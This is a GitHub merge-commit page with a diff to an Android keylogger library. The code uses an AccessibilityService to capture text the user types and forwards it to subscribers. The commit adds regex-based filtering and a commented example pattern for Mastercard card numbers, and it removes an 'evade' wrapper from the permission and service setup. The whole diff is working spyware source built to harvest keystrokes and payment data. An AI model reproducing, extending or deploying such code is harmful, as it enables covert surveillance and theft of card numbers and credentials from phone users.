Merge pull request #9 from evilthreads669966/feature_pattern_matchers

regexp patterns
evilthreads669966 · Sep 29, 2020 · 3e336fb · 3e336fb
2 parents fa7c42b + d1e7a00
commit 3e336fb
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Showing 3 changed files with 18 additions and 7 deletions.
diff --git a/Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt b/Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt
@@ -42,6 +42,12 @@ import kotlinx.coroutines.channels.ReceiveChannel
 object Keylogger{
     internal val channel = Channel<KeyloggerEntry>()
 
+    internal val patterns = mutableSetOf<Regex>()
+
+    fun addPattern(regex: String) = patterns.add(Regex(regex))
+
+    fun resetPatterns() = patterns.clear()
+
     suspend fun subscribe(block: (KeyloggerEntry) -> Unit){
         for(entry in channel){
             block(entry)

diff --git a/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt b/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt
@@ -47,8 +47,13 @@ class KeyloggerService: AccessibilityService() {
             }
         }.toString().trim().takeIf { it.isNotEmpty() }?.let{ text ->
             runBlocking {
-                val entry = KeyloggerEntry(text)
-                Keylogger.channel.send(entry)
+                Keylogger.patterns.forEach { pattern ->
+                    if(pattern.containsMatchIn(text)){
+                        val entry = KeyloggerEntry(text)
+                        Keylogger.channel.send(entry)
+                        return@runBlocking
+                    }
+                }
             }
         }
     }

diff --git a/app/src/main/java/com/evilthreads/androidkeylogger/MainActivity.kt b/app/src/main/java/com/evilthreads/androidkeylogger/MainActivity.kt
@@ -30,11 +30,11 @@ class MainActivity : AppCompatActivity() {
     override fun onCreate(savedInstanceState: Bundle?) {
         super.onCreate(savedInstanceState)
         setContentView(R.layout.activity_main)
-        evade {
-            Keylogger.requestPermission(this)
-            bootService(this){
-                service = MyService::class
-            }
+        Keylogger.requestPermission(this)
+        //mastercard
+        //Keylogger.addPattern("^5[1-5][0-9]{14}\\$")
+        bootService(this){
+            service = MyService::class
         }
     }
 }